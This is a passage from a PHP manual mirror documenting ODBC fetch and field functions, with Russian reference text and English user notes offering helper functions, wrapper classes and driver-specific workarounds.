I found the function submitted by jezndiatyahoodotcodotuk to be very helpful.  I'm using PHP 5.2.5 and this function isn't defined, so it may depend on the ODBC driver being used.

The only problem with the solution already posted is that the return values don't match the ones specified by the documentation.  I made the following modification so that the function will work the same whether it exists internally or not:

<?php
if (!function_exists('odbc_fetch_array')) {
    function odbc_fetch_array($result, $rownumber=null) {
        $array = array();
        if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
            return false;
        }
        for ($i = 1; $i <= $cols; $i++) {
            $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
        }
        return $array;
    }
}

?>
luke at croslow dot com 23-Jul-2007 10:18
On IBM DB2 for iSeries I have to specify a specific row number to retrieve. If I don't specify the row number, the behavior is erratic.

This seems to work:

<?php
for($i=1;$row=odbc_fetch_row($result,$i);$i++) {
  //use $row
}
?>

The row count MUST start at 1 or else the behavior seems undefined; i.e., when I start from 0 some rows might be returned two or more times or not at all.
robincw at gnospammail dot com 09-Jan-2007 04:46
I am using MS SQL Server 2005, and using odbc_connect with SQL_CUR_USE_ODBC.

I had a problem with odbc_fetch_array when getting results from a stored procedure that returns a text column. The misleading error I got was:

odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][ODBC Cursor Library] Result set was not generated by a SELECT statement, SQL state SL004 in SQLGetData

Eventually I found that by converting the text column in my database to varchar(8000), it worked fine. Perhaps using CONVERT or CAST might have worked too. I also found that varchar(max) columns were scrambled.
tim at tmcode dot com 15-Sep-2005 08:07
Depending on the odbc driver/operating system you are using,  odbc_fetch_array might not be defined. (ie if you used --with-custom-odbc you may be out of luck).   The following can be safely added to define the odbc_fetch_array function if doesn't exist already.  Unlike some of the other examples contributed here, this one will create the numeric keys and the text keys.   This function is definitely not very optimal because it has to check the number of fields and field names each time a row is pulled.  Often you will be looping through a result set and there is no need to pull this information each time.  It could probably be improved by caching the result of these functions but I'll leave that as an exercise for someone else... :)

if(!function_exists("odbc_fetch_array"))
{

    function odbc_fetch_array($res)
    {
        // make sure to pass back the false if we are out of rows
        if(!odbc_fetch_row($res)) return false;

        $row=array();

        // populate the row array
        $numfields=odbc_num_fields($res);
        for($i=1; $i<=$numfields; $i++)
        {
            //odbc starts its indice at 1 but since I am
            // trying to emulate the functionality of *_fetch_array
            // for other dbs (ie mysql)  I'm going to decrement my
            // my numeric indice by 1.  This might not be what
            // you are after in which case get rid of the -1
            $row[odbc_field_name($res,$i)]=$row[$i-1]=odbc_result($res,$i);

        }
        return $row;
    }

}
Remy 12-Apr-2005 05:35
I use this function to get my recordset in an array, and it's very easy to use.

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('dsn','user','pass');
  $rs     = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
    for ($y = 1; $y <= odbc_num_fields($rs); $y++)
      $arr[$x][$y] = odbc_result($rs,$y);
    $x++;
  }
  if ($x > 1)
    return $arr;
}

usage:

$arr=dbquery("SELECT * FROM tblTable");
echo $arr[1][1] //echo's first column of the first row
philip 21-Mar-2005 08:03
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
miles at e-clipseconsulting dot com 15-Dec-2004 01:47
In response to Sena's post, odbc_num_rows does not always return a row count.  When executing a query on MS Access it seems to return a row count of -1.

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

Just something to watch out for when attempting to execute this code.

Miles Phillips
e-Clipse Consulting
russ at russprince dot com 11-Nov-2004 06:57
I really liked Ryan's example so I took it another step and added a recordset class to work with the connection class.  I made slight alterations to the original code as well.  Also note the recordset class takes advantage of php5's __get property function...

<%
class odbcRecordset {
   var $recordcount;
   var $currentrow;
   var $eof;

   var $recorddata;
   var $query;

   function odbcConnection(){
      $this->recordcount = 0;
      $this->recorddata = 0;
   }

   function SetData( $newdata, $num_records, $query ) {
      $this->recorddata = $newdata;
      $this->recordcount = $num_records;
      $this->query = $query;
      $this->currentrow = 0;
      $this->set_eof();
   }

   function set_eof() {
      $this->eof = $this->currentrow >= $this->recordcount;
   }

   function movenext()  { if ($this->currentrow < $this->recordcount) { $this->currentrow++; $this->set_eof(); } }
   function moveprev()  { if ($this->currentrow > 0)                  { $this->currentrow--; $this->set_eof(); } }
   function movefirst() { $this->currentrow = 0; set_eof();                                               }
   function movelast()  { $this->currentrow = $this->recordcount - 1;  set_eof();                         }

   function data($field_name) {
      if (isset($this->recorddata[$this->currentrow][$field_name])) {
         $thisVal = $this->recorddata[$this->currentrow][$field_name];
      } else if ($this->eof) {
         die("<B>Error!</B> eof of recordset was reached");
      } else {
         die("<B>Error!</B> Field <B>" . $field_name . "</B> was not found in the current recordset from query:<br><br>$this->query");
      }

      return $thisVal;
   }

   function __get($field_name) {
      return $this->data($field_name);
   }
}

class odbcConnection {
   var $user;  //Username for the database
   var $pass; //Password

   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
      $this->user = "";
      $this->pass = "";
   }

   function open($dsn,$user,$pass){
      $handle = @odbc_connect($dsn,$user,$pass,SQL_CUR_USE_ODBC) or
         die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
      $this->conn_handle = $handle;
      return true;
   }

   function &execute($query){
      //Create a temp recordset
      $newRS = new odbcRecordset;
      $thisData = "";

      $res = @odbc_exec($this->conn_handle,$query) or
         die("<B>Error!</B> Couldn't Run Query:<br><br>" . $query . "<br><br>Error Code:  ".odbc_error());
      unset($this->temp_fieldnames);

      $i = 0;
      $j = 0;
      $num_rows = 0;

      // only populate select queries
      if (stripos($query, 'select ') !== false) {
         while(odbc_fetch_row($res)) {
            $num_rows++;

            //Build tempory
            for ($j = 1; $j <= odbc_num_fields($res); $j++) {
               $field_name = odbc_field_name($res, $j);
               $this->temp_fieldnames[$j] = $field_name;
               $ar[$field_name] = odbc_result($res, $field_name) . "";
            }

            $thisData[$i] = $ar;
            $i++;
         }
      }

      //populate the recordset and return it
      $newRS->SetData( $thisData, $num_rows, $query );
      return $newRS;
   }
}
%>

usage is pretty simple:

<%
  $con = new odbcConnection
  $con->open("dsn","user","pass")

  $sql = "select bar from foo";
  $rs = $con->execute($sql);

  if (!$rs->eof) {
    print $rs->data("bar");
      // or //
    print $rs->bar;
  }

  while (!$rs->eof) {
    // blah blah code
    $rs->movenext();
  }
%>

Works pretty well, but I haven't thoughly tested it yet.
Code can be dl'd here:

http://www.russprince.com/odbc_functions.zip

Cheers,
Russ
Ryan (rystar_x2000 at hotmail dot com) 09-Apr-2004 06:39
Heya,

After much fiddling around with the odbc_num_rows() function, and trying to get odbc_fetch_array() to play nice with it, I decided to write this little function which will return a 2-dimensional array, in the format [rownumber][field].

The 'rownumber' array index is obviously the number of the row stored in the array.
The 'field' index is keyed to the field name on that row.

--Function--
<?

function fetch2DArray($res){
    $i = 0;
    $j = 0;
    $toReturn = "";

    while(odbc_fetch_row($res))
    {
        for ($j = 1; $j <= odbc_num_fields($res); $j++)
        {
             $field_name = odbc_field_name($res, $j);
             $ar[$field_name] = odbc_result($res, $field_name);
        }

        $toReturn[$i] = $ar;
        $i++;
    }
    return $toReturn;
}
?>

I then took this one stage further.. and wrote a whole class to deal with the odbc connection... it's a bit slap-happy, but it does work well enough.

-- Class --
<?
class odbcConnection{
   var $user;  //Username for the database
   var $pass; //Password
   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
       $this->user = "";
       $this->pass = "";
   }

       function connectDatabase($dsn_link,$user,$pass){
        $handle = @odbc_connect($dsn_link,$user,$pass,SQL_CUR_USE_DRIVER) or die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
        $this->conn_handle = $handle;
        return true;
    }

    function runStoredQuery($query, $returns_results){

    if($returns_results == false){
            return false;
        }

    $toReturn = "";
        $res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("<B>Error!</B> Couldn't Run Stored Query. Error Code:  ".odbc_error());
        unset($this->temp_fieldnames);
            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                  //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                      $this->temp_fieldnames[$j];
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

    function runSQL($query,$returns_results){
    $toReturn = "";

        $res = @odbc_exec($this->conn_handle,$query) or die("<B>Error!</B> Couldn't Run Query. Error Code:  ".odbc_error());
           unset($this->temp_fieldnames);
        if($returns_results == false){
            return false;
        }

            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

}

//And an example of how to use the class:

include("dbClass.inc");  //Where dbClass.inc is the name of the file holding the class

//Declare a new instance of the class
$dbConnection = new odbcConnection;

$dsn = "GroupWork";   //Your System DSN name to point to your database
$dbConnection->connectDatabase($dsn,"","");  //No username and password - read only access

echo"<BR><HR><B>Testing SQL</b><BR><BR>";
$query_result = $dbConnection->runSQL("SELECT * FROM Event WHERE Type = 'Sport' ORDER BY EDate ASC",true);

    if(!$query_result)
    {
        //No Results - Your Error Code Here
    }else{
        //Get the results
        $key = $dbConnection->temp_fieldnames;
        $rows = count($query_result);
        $keys = count($key);
        $i = 0;

        while($i < $rows){
            $j = 1;
            echo "Echoing Row $i:<BR>";

                while($j < $keys - 1){

                    //$query_result[row][field];
                    $result = $query_result[$i][$key[$j]];
                    $field = $key[$j];
                    echo("Field <b>'".$field."'</b> : ".$result." <BR>");

                    $j++;
                }
            echo "<BR>----<BR><BR>";
            $i++;
        }
    }
?>

Hope this was of some help. If anyone has any improvments to the class, please drop them by me.
powerstat at web dot de 26-Mar-2004 04:48
This function is badly implemented, because the fetch_array versions for all other databases are storing the values as associative AND numeric key.
This one only stores as associative key :(
Someone should really cleanup the complete database api design!
xhat at NOSPAM dot hotmail dot com 24-Mar-2004 10:46
This is a quick and dirty way to accomplish the same thing:

<?
while(odbc_fetch_row($result)) {
$var1 = odbc_result($result, "NAMEOFFIELD1");
$var2 = odbc_result($result, "NAMEOFFIELD2");
..... //as many vars as you have fields with data to capture

$array_of_results[] = compact('var1', 'var2','var3', etc, etc)
}
?>

Just turn each returned row's data into variables then use the compact().  Turns each variable name into a key and the vars value into the array value.  Makes a wonderful 2d array that you can walk easily and still use key values to get at data.


Возвращает одну строку результата в массив

  • « odbc_fetch_array
  • odbc_fetch_object »
  • PHP Manual
  • Функции ODBC
  • Возвращает одну строку результата в массив

odbc_fetch_into

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_fetch_into — Возвращает одну строку результата в массив

Описание

odbc_fetch_into(resource $statement, array &$array, int $row = 0): int|false

Возвращает одну строку результата в массив (array).

Список параметров

statement

Ресурс результата (resource).

array

Массив результатов (array) может быть любого типа, поскольку он будет преобразован в массив типов. Он будет содержать значения столбцов, начиная с индекса 0.

row

Номер строки.

Возвращаемые значения

Возвращает количество столбцов в результате; false в случае возникновения ошибки.

Примеры

Пример #1 Примеры использования odbc_fetch_into()

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

или

<?php
$rc = odbc_fetch_into($res_id, $my_array, 2);
?>

User Contributed Notes

alvaro at demogracia dot com 05-Apr-2011 03:04
It returns FALSE if there was an error reading the row but also when there aren't more rows available.
brian m 17-Nov-2004 02:58
Here is a very simple mehod to dump SQL results into an array that can be edited and manipulated.
==============================================

//Create the array:
$row = array();
while (odbc_fetch_into($res, $row, ODBC_NUM)) {
    array_push($stuff,$row);
}

//The results are now in an array.  To display the array as an HTML table we can use the following:

foreach($stuff as $line){
    echo "<tr>\n";
    foreach($line as $field){
        echo "<td>".$field."</td>\n";
    }
}

==============================================
Using this method allows a person to control individual data elements in each row and field.  I am far more familiar with ASP and the getrows function but this is the closest equivalent that I have been able to find.

I good friend and co-worker was able to determine how to get this to work.  Thanks Robby.
php at nospamplease dot markjrubin dot com 28-Jun-2004 12:02
Regarding free at muktimedia dot com's problem.

We found a simple solution, just cast the text as ntext in your SQL statement.

SELECT cast ( field_name AS NTEXT ) AS field_name

Mark J Rubin
free at muktimedia dot com 25-Jan-2003 05:23
Problem w/ MSSQL 2000 (or 7 possibly):::::
Warning: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid
Descriptor Index, SQL state S1002 in SQLGetData in ...

http://bugs.php.net/bug.php?id=18514

The above error will be seen when calling @ODBC_RESULT_ALL() on a resultset that contains a field of type 'text' (MSSQL 2K).  If you see this error in @ODBC_RESULT_ALL then surely @ODBC_FETCH_INTO() will return false when the resultset contains a field of type 'text' (MSSQL 2K) - causing headaches.

WORKAROUND : change the field type to NTEXT (SQL 2K/7) - this is preferable in many cases (except DB storage space) since NTEXT is simply Unicode Text.

I tried a workaround at http://www.phpbuilder.com/mail/php-db/2001071/0240.php but this didn't work.

It appears PHP could benefit from an update to its ODBC libraries since 'text' and 'memo' fields are often used in Win32 environments...
PHP at TeamBurke dot com dot NoSpam 15-Nov-2002 08:00
DON'T START AT ROW 0

When using odbc_fetch_into($id,$row_num,$array) don't intialize the $row_num=0.

Why... well if you do this and you have one record in the table you'll get an error... not a problem.  BUT, if you have more than one row in the table, there is no error and the first record in the table is lost.

This may seem obvious, but remember that we count many things starting from 0, so doing it here made sense in my mind.  Took quite some time to solve the problem, because I had used the same method on another page, where there were multiple row records, and that page worked fine.  I just never noticed that it failed to print the first record's information.  So you can imagine my puzzlement when the code worked on one page and not the next.
scott at abcoa dot com 02-Jul-2002 11:41
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
      echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
matt(at)lazycat(dot)org 04-Sep-2001 06:36
Most annoyingly with PHP 4.0.6, the new "feature" regarding the requirement of the row number to be non-constant means that this code no longer works:

$row_num = 1; $row = array();
while (odbc_fetch_into($result, $row_num++, $row) {
  // Stuff
}

So if you were wondering why, that's why. This infuriated me above all other issues I've had with PHP when I upgraded to 4.0.6
Luckily the workaround is easy enough. Just use $row_num in the odbc_fetch_into() and add $row_num++ inside the while loop. But it's still very annoying! I haven't found any other functions where this is an issue..
doc at vulcanmicro dot com 26-Jun-2001 01:47
Going from php 4.0.5 to php 4.0.6, the following syntax nolonger works:
odbc_fetch_into($result,$start-1,&$fields);
In 4.0.5 it works, in 4.0.6 it produces this error:
Only variables can be passed by reference
The following lines DO work however:
$tmp=$start-1;
odbc_fetch_into($result,$tmp,&$fields);
scott at gamesonline dot com 01-Jul-1999 08:13
(Win32) When calling this function against an Access 97 table, if the second parameter is passed in as the row you wish to retrieve, it APPEARS you will keep getting the same row back, regardless of the value passed in.  Solution: Don't pass in the second parameter and everything autoincrements just fine.
vbhunt at silverfox dot com 28-Sep-1998 12:27
This function interacts with odbc_result in that it appears to increment the internal record pointer for the current query result.  Thus if you use this function and desire to have the record you just fetched available for use in odbc_result; you'll have to call odbc_fetch_result again with the current row number.  This behavior can be especially confusing if your query result contains a single record.  When this is the case, use of odbc_fetch_into appears to break odbc_result.


Возвращает строку результата в виде объекта

  • « odbc_fetch_into
  • odbc_fetch_row »
  • PHP Manual
  • Функции ODBC
  • Возвращает строку результата в виде объекта

odbc_fetch_object

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

odbc_fetch_object — Возвращает строку результата в виде объекта

Описание

odbc_fetch_object(resource $statement, int $row = -1): stdClass|false

Возвращает объект (object) из запроса ODBC.

Список параметров

statement

Ресурс результата из odbc_exec().

row

Необязательный параметр, указывающий номер строки для возврата.

Возвращаемые значения

Возвращает объект, соответствующий возвращаемой строке, или false если строк больше нет.

Примечания

Замечание: Функция существует при компиляции с поддержкой DBMaker, IBM DB2 или UnixODBC.

Смотрите также

  • odbc_fetch_row() - Возвращает строку
  • odbc_fetch_array() - Возвращает строку результата в виде ассоциативного массива
  • odbc_num_rows() - Возвращает количество строк в результате

User Contributed Notes

Anonymous 04-Mar-2021 04:33
This would be so much more useful if it contained information on what the object returned contains. From var_dump() it seems just an assoc array in object form. But is there column type info, for example?
philip 21-Mar-2005 08:04
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
thorsten at rinne dot info 15-Oct-2003 02:26
odbc_fetch_object() works nice with PHP 4.3.3 under W2K with IBM DB2 V.7.2 and V.8.1:

<?php
$conn = odbc_connect($db_name, $username, $password) or die(odbc_error_msg());
$sql = "SELECT * FROM TABLE";
$result = odbc_exec($conn, $sql);
while ($rows = odbc_fetch_object($result)) {
    print $rows->COLUMNNAME;
    }
odbc_close($conn);
?>
j dot a dot z at bluewin dot ch 30-Apr-2003 01:26
hey "general at maccrafters dot com"

thank you very much for your code. it saved me time!
however i extended it a bit!
---------------------------------------------
    function __odbc_fetch_object($res)
    {
        if( function_exists("odbc_fetch_object") )
            return odbc_fetch_object($res);

        $rs = array();
        $rs_obj = false;
        if( odbc_fetch_into($res, &$rs) )
        {
            foreach( $rs as $key=>$value )
            {
                $fkey = odbc_field_name($res, $key+1);
                $rs_obj->$fkey = trim($value);
            }
        }
        return $rs_obj;
    }
---------------------------------------------
cheers, jaz
h4 at locked dot org 11-Mar-2003 06:28
my 2 cents:

function data($res) {
    $obj = new stdClass();
    $data_array = array();

    if (!odbc_fetch_into($res, $data_array)) {
        return 0;
    }

    $num_fields = odbc_num_fields($res);

    for ($i = 0;$i < $num_fields; $i++) {
        $name = odbc_field_name($res, $i + 1);
        if (!$name) {
            return 0;
        }

        $obj->{$name} = $data_array[$i];
    }

    return $obj;
}

works fine for me (PHP 4.3.1)
charlesk at netgaintechnology dot com 23-Jan-2003 10:54
I asked one of the developers to enable this function in the CVS.  I tried it and it worked.  I didnt do anything special.  I was using a Microsoft Access ODBC driver that came with my Windows XP Pro Install.

I was using the Apache web server.

Charles
general at maccrafters dot com 05-Nov-2002 11:45
Here's a bit of code I came up with tha behaves just like mysql_fetch_object()

    function odbc_fetch_object($result)
    {
        $rs=array();
        if(odbc_fetch_into($result,&$rs))
        {
            foreach($rs as $key=>$value)
            {
    $fkey=strtoupper(odbc_field_name($result,$key+1));
                $rs_obj->$fkey = trim($value);

            }
        }
        return($rs_obj);
    }

Special thanks to previous posters for giving me a starting point for this code.
kynaston at yahoo dot com 05-Sep-2002 05:55
If you're using Masoud's code in PHP4.2+, change the fifth line to:

odbc_fetch_into($result,&$rs);

(the order of arguments have changed)
Marcus dot Karlsson at usa dot net 24-Apr-2002 10:57
It' possible to get both odbc_fetch_object() and odbc_fetch_array() to work just by removing #ifdef HAVE_DBMAKER/#endif in php_odbc.h line 216 (219) and the same in php_odbc.c line 87 (90) and 1229 (1380).

I've done this sucessfully in the PHP 4.2.0 release using ODBC towards a MySQL database.

I really can't understand why the #ifdef is there from the beginning, but they do have their reasons.

These were the files i "patched"
/* $Id: php_odbc.c,v 1.120.2.1 2002/04/08 22:21:30 sniper Exp $ */
/* $Id: php_odbc.h,v 1.45.2.1 2002/03/12 02:27:47 sniper Exp $ */
masuod_a at hotmail dot com 22-Feb-2002 12:29
This function not availible in PHP 4.1.1 , you can try this :

if (function_exists(odbc_fetch_object))
 return;
function odbc_fetch_object($result, $rownumber=1) {
 $rs=array();
 odbc_fetch_into($result, $rownumber,$rs);
 foreach ($rs as $key => $value) {
   $fkey=strtolower(odbc_field_name($result, $key+1));
   $rs_obj->$fkey = $value;
 }
 return $rs_obj;
}
if you wanna use this function in a loop  you must set rownumber parameter
you can't use this function like :
 while ($myobj=odbc_fetch_object($res)) {
 ....
}


Возвращает строку

  • « odbc_fetch_object
  • odbc_field_len »
  • PHP Manual
  • Функции ODBC
  • Возвращает строку

odbc_fetch_row

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_fetch_row — Возвращает строку

Описание

odbc_fetch_row(resource $statement, ?int $row = null): bool

Выбирает строку из данных, которые были возвращены odbc_do() или odbc_exec(). После вызова odbc_fetch_row() к полям этой строки можно получить доступ с помощью odbc_result().

Список параметров

statement

Идентификатор результата.

row

Если параметр row не указан, odbc_fetch_row() попытается выбрать следующую строку в результирующем наборе. Вызовы odbc_fetch_row() с параметром row и без него можно смешивать.

Чтобы пошагово пройти по результату более одного раза, можно вызвать odbc_fetch_row() со значением параметра row, равным 1, а затем продолжить выполнение odbc_fetch_row() без row, чтобы просмотреть результат. Если драйвер не поддерживает выборку строк по номеру, параметр row игнорируется.

Возвращаемые значения

Возвращает true, если строка существует, false в противном случае.

Список изменений

Версия | Описание
8.0.0 | row теперь допускает значение null.

User Contributed Notes

eolscr at gmail dot com 07-Apr-2005 08:05
When I migrates from 4 to 5 took me a long day to find the solution.

The way to use it without problems

In php4:

<?php
while (odbc_fetch_row($stringsql)) {

// ...

}
?>

In php5:

<?php

odbc_fetch_row($stringsql, 0);

while (odbc_fetch_row($stringsql)) {

// ...

}

?>

Good luck


Возвращает длину (точность) поля

  • « odbc_fetch_row
  • odbc_field_name »
  • PHP Manual
  • Функции ODBC
  • Возвращает длину (точность) поля

odbc_field_len

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_len — Возвращает длину (точность) поля

Описание

odbc_field_len(resource $statement, int $field): int|false

Возвращает длину поля, на которое ссылается число в заданном идентификаторе результата.

Список параметров

statement

Идентификатор результата.

field

Номер поля. Нумерация полей начинается с 1.

Возвращаемые значения

Возвращает длину поля или false в случае возникновения ошибки.

Смотрите также

  • odbc_field_scale() - Возвращает масштаб поля для получения масштаба числа с плавающей точкой

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя столбца

  • « odbc_field_len
  • odbc_field_num »
  • PHP Manual
  • Функции ODBC
  • Возвращает имя столбца

odbc_field_name

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_name — Возвращает имя столбца

Описание

odbc_field_name(resource $statement, int $field): string|false

Возвращает имя поля, занимающего заданный номер столбца в заданном идентификаторе результата.

Список параметров

statement

Идентификатор результата.

field

Номер поля. Нумерация полей начинается с 1.

Возвращаемые значения

Возвращает имя поля в виде строки или false в случае возникновения ошибки.

User Contributed Notes

anuga at anuga dot se 27-Apr-2009 12:46
I've been toying around with this for awhile to make it as simple and fast as possible.

<?php

/* Start The Connection */
if(!$odbc['connection'] = odbc_connect('DNS','USER','PASS'))
{
    exit("Connection Failed<br />\n");
}
else
{
    echo("Connected<br />\n");
}

/* Select Which Table */
$odbc['table'] = "table";

/* Fetch The Fieldnames into an Array */
if($result = odbc_exec($odbc['connection'],"select * from $odbc['table'];"))
{
    for($i = 1;$i <= odbc_num_fields($result);$i++)
    {
        $odbc['rows']['fields'][$i] = odbc_field_name($result,$i);
    }
    unset($i);
    odbc_free_result($result);
}
else
{
    exit("Error in SQL Query");
}

/* Close The Connection */
if(odbc_close($odbc['connection']))
{
    odbc_close($odbc['connection']);
}

/* Print The Array */
if(!empty($odbc['rows']))
{
    print_r($odbc['rows']);
}

?>
sica at wnet dot com dot br 05-Nov-2008 10:39
Hi hayes029, your idea was very helpful.
Here go a adaptation for select form field.
<?php
  $consulta = "select * from schema.table";
  $resposta = odbc_exec($con, $consulta);
  for($i=1; $i <= odbc_num_fields($resposta); $i++)
    echo "<option value=".odbc_field_name($resposta, $i).">".odbc_field_name($resposta, $i)."</option>";
?>
marco 14-Feb-2008 06:08
we faced the 31 char limit using cakephp dbo_odbc.php class (version 1.1.18.5850)

at the end, it calls odbc_fetch_row giving the problem (i tracked it may be due to the php implementation of a ODBCv2 model, which has hard coded 4bytes, 32 bits file names length, while ODBCv3 seems to have a separate specification of that value, fwiw)

we learned from another user (having similar problems with dbo_mssql.php class) how to workaround this problem,

we solved using inheritance, redefining the method (locally to our application) in order to
- create a "map" of the query fields (as an array) before executing it
- execute the query in a non-associative way
- after the results are returned, restore the real field names applying the previous created "map"

another way could be use the COM like:
new COM("ADODB.Connection")
which does not show the 31 chars problem but it could be slower and bound to the windows platform.
NoEgzit 22-Nov-2007 06:23
If you really need more than 31 characters here's what you can do:

open php5.x.x/ext/odbc/php_odbc_includes.h in an editor like notepad++

change 32 by a greater value in
typedef struct odbc_result_value {
    char name[32];
    char *value;
    SDWORD vallen;
    SDWORD coltype;
} odbc_result_value;

and recompile php.

I did it with char name[64] cause I have column names like "0214_1_VD_Type d'exploitation Type d'operation (Niveau 1)"  [I didn't choose this stupid name it comes from Eccairs project]
and rebuild php with the method given here http://www.php.net/manual/en/install.windows.building.php  and http://elizabethmariesmith.com/2006/11/09/
compiling-php52-on-windows-with-net-toolchain-is-it-even-possible/

with visual C++ express edition.
jezzghost 21-Feb-2006 10:32
Note that there is a known limitation with this which truncates the length of the returned field name to 31 characters without warning.
hayes029 at bama dot ua dot edu 13-Apr-2004 10:01
In search of a function that would simply return an array with the names of the fields in a result identifier, the only thing I could find was the odbc_field_name function.  So, for anyone else looking for such a function, here's the (very simple) function I wrote:

function odbc_field_names ($result) {
  for ($i=1; $i <= odbc_num_fields($result); $i++) $return_array[$i-1] = odbc_field_name($result, $i);
  return $return_array;
}

Very simple, I know, but I thought it might be helpful.
andrea dot galli at acotel dot com 29-Apr-2003 08:12
Example: function field name.

$Link_ID = odbc_connect("DSN", "user", "pass");

$query = "SELECT * FROM products";

$Query_ID = odbc_exec($Link_ID, $query);

while($field = $field_name($Query_ID ))
{
     echo("Field: $field<br />\n");
}

---------------------

function field_name($PrQuery_ID)
{
     if($Column < odbc_num_fields($PrQuery_ID))
     {
          $Column += 1;
          $FieldName = odbc_field_name($PrQuery_ID, $Column);

          return $FieldName;
     }
     else
     {
          return 0;
     }
}
aleckzandr at yahoo dot com 17-Apr-2003 12:04
Well, I've been into PHP for four hours and thanks to "my predecessors before me" (gold163, curt, et al.) I've managed the following. The first thing I try to learn with any web scripting language is to build a dynamic table from a data source. (One thing you didn't have to do gold -previous post- is build an array for the field value.) Cheers! Alex

<html>
 <head>
  <title>PHP Database Example</title>
 </head>
 <style type="text/css">
 <!--
  body {font: 10pt/12pt Tahoma, Verdana, Helvetica, sans-serif; color: indigo; margin: .25in .5in }
  table {color:Navy; background-color:AntiqueWhite; border-color:Maroon; border-style:Solid; border-width: 2px; }
  th {color: blue; font-weight: bold; }
  td {font-size: smaller; }
  .mytable {color:Maroon; background-color:White; border-color:Navy; border-style:Solid; border-width: 1px; }
  th.mytable {background-color:#C0C0C0; }
 //-->
 </style>
 <body>

 <p><?php echo date("j F, Y"); ?></p>
<?php

$db = odbc_connect("eSell22MDB","","");
$result = odbc_exec($db, "select ProductID, ProductName, Description1 from Products");

// cool function - returns table
odbc_result_all($result, "border=\"1\" class=\"def\"");

$result = odbc_exec($db, "select * from Products") or die("Select failed");

$myUtil = new Utilities();

$myUtil->standard_table($result,"mytable");

class Utilities {

     function standard_table($result,$class="")
     {
         // To format your table if you want to use cascading style sheets
         if ($class == "")
         {
             $css_table = " border=\"1\"";
             $css_tr = "";
             $css_th = "";
             $css_td = "";
         }
         else
         {
             $css_table = " class=\"$class\"";
             $css_tr = " class=\"$class\"";
             $css_th = " class=\"$class\"";
             $css_td = " class=\"$class\"";
         }

         // Create field names for table header row
         $i = 0;
         $fieldCount = odbc_num_fields($result);
         echo "  <table$css_table>\n";
         echo "   <tr$css_tr>\n";

         while ($i < $fieldCount)
         {
             $i++;
             $fieldName = odbc_field_name($result, $i);
             echo "    <th$css_th>$fieldName</th>\n";
         }
         echo "   </tr>\n";

         # Create table data rows for query result
         while (odbc_fetch_row($result))
         {
             $i = 0;
             echo "   <tr$css_tr>\n";
             while ($i < $fieldCount)
             {
                 $i++;
                 $fieldData = trim(odbc_result($result, $i));
                 if ($fieldData  == "")
                     echo "    <td$css_td>&nbsp;</td>\n";
                 else
                     echo "    <td$css_td>$fieldData</td>\n";
             }
             echo "   </tr>\n";
         }
         echo "  </table>";
     }
} // class Utilities

?>

 </body>
</html>
gold163 at lisco dot com 25-Mar-2003 09:10
Using your code, and taking it a step further, I can create a standard table from a single line of code by calling a function from my include file - the bonus is, that I can optionally provide a parameter for the name of my style sheet class - further simplifying my formatting of the table.

What synergy you find in these forums - eh?

$Conn = odbc_connect('dsn','user','pass');
$query = "SELECT * FROM yourtable";
$result = odbc_exec($Conn, $query) or die('Select failed!');

standard_table($result);

Function standard_table($result,$class='')
{
# To format your table if you want to use cascading style sheets
 if ($class == '')
 {
  $css_table = ' border=1';
  $css_tr = '';
  $css_th = '';
  $css_td = '';
 }
 else
 {
  $css_table = ' class=\"$class\"';
  $css_tr = ' class=\"$class\"';
